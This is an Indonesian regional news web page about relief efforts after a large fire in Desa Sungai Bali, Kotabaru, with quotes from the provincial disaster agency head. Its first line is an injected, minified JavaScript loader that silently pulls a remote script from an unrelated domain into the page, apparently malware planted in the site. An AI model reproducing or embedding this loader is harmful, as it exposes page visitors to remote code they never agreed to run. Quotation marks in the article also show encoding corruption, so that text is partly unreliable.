(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Berbagai bantuan terus mengalir kepada ratusan warga Desa Sungai Bali, Kecamatan Bumi Natar Pulau Sebuku, Kabupaten Kotabaru, yang kehilangan tempat tinggalnya akibat musibah kebakaran pada Sabtu (23/11) kemarin.
Tidak terhitung berapa banyak bantuan logistik baik sandang maupun pangan yang dikirimkan oleh berbagai pihak. Di hari ketiga pasca musibah kebakaran tersebut, secara keseluruhan kebutuhan bagi warga yang terdampak telah dinyatakan lengkap.
Kepala BPBD Kalsel Wahyuddin menerangkan di lokasi telah didirikan sejumlah posko yang menjalankan fungsi masing-masing, serta tenda darurat untuk tempat tinggal sementara para warga.
“Di sana sudah ada 7 tenda, posko kesehatan, posko induk bantuan, dapur umum serta fasilitas MCK. Secara keseluruhan bisa dikatakan lengkap untuk penanganan pasca bencana,†katanya.
Meski sudah tersedia tenda, Kepala BPBD Kalsel mengakui masih banyak warga yang menolak tidur di sana. Sebab, warga Desa Sungai Bali sendiri memiliki ikatan keluarga yang kuat.
“Jadi mereka merasa nyaman tidur di tempat keluarga. Kita ya tidak bisa memaksa, karena ikatan keluarga mereka kuat. Padahal sebenarnya di tenda itu sudah kita siapkan selimut dan kasur,†lanjut Wahyuddin.
Disisi lain, Wahyuddin juga mengharapkan bantuan yang dikirimkan tidak hanya sekedar bantuan logistik saja. Dirinya mengatakan saat ini fase recovery (tahap pemulihan) tempat tinggal warga harus cepat dilakukan, sehingga bantuan berupa alat bangunan akan lebih dibutuhkan.
“Ya, kita harapkan bantuan bahan bangunan juga mulai dikirimkan mulai saat ini. Itu diperlukan untuk langkah awal untuk memulai recovery. Seperti, atap rumah misalnya,†lanjut Ujud –biasa disapa-.
Kebakaran di Desa Sungai Bali Kecamatan Bumi Natar Pulau Sebuku, Sabtu (23/11) kemarin, tercatat sebagai musibah kebakaran terbesar di Kabupaten Kotabaru selama kurun waktu 10 tahun terakhir.
Tercatat, api pada malam itu menghanguskan 200 rumah atau 75 persen pemukiman rumah warga di sana. Termasuk dua los pasar, satu kantor Polsek, lima pintu asrama Polisi dan satu Mushala. Alhasil 750 jiwa mengungsi.
Melihat musibah kebarakan saat itu, BPBD Kalsel berencana akan melakukan pelatihan terhadap warga Desa Sungai Bali untuk tanggap dalam penangan bencana.
Menurut Wahyuddin, sebenarnya peralatan pemadaman api itu telah ada di Desa Sungai Bali. Tapi, kesiapsiagaan warga disana yang belum terbiasa saat terjadinya bencana.
“Terkait dengan itu, program BPBD akan melaksanakan Desa Tangguh Bencana. Kita akan melatih masyarakat yang daerahnya rawan bencana agar bisa meatasi secara mandiri. Kita juga akan memberikan sejumlah pelatan, salah satunya mesin set portable,†pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More
KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk apresiasi menjaga kelestarian lingkungan, kebersihan, dan pengelolaan sampah yang baik, Pemerintah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
This website uses cookies.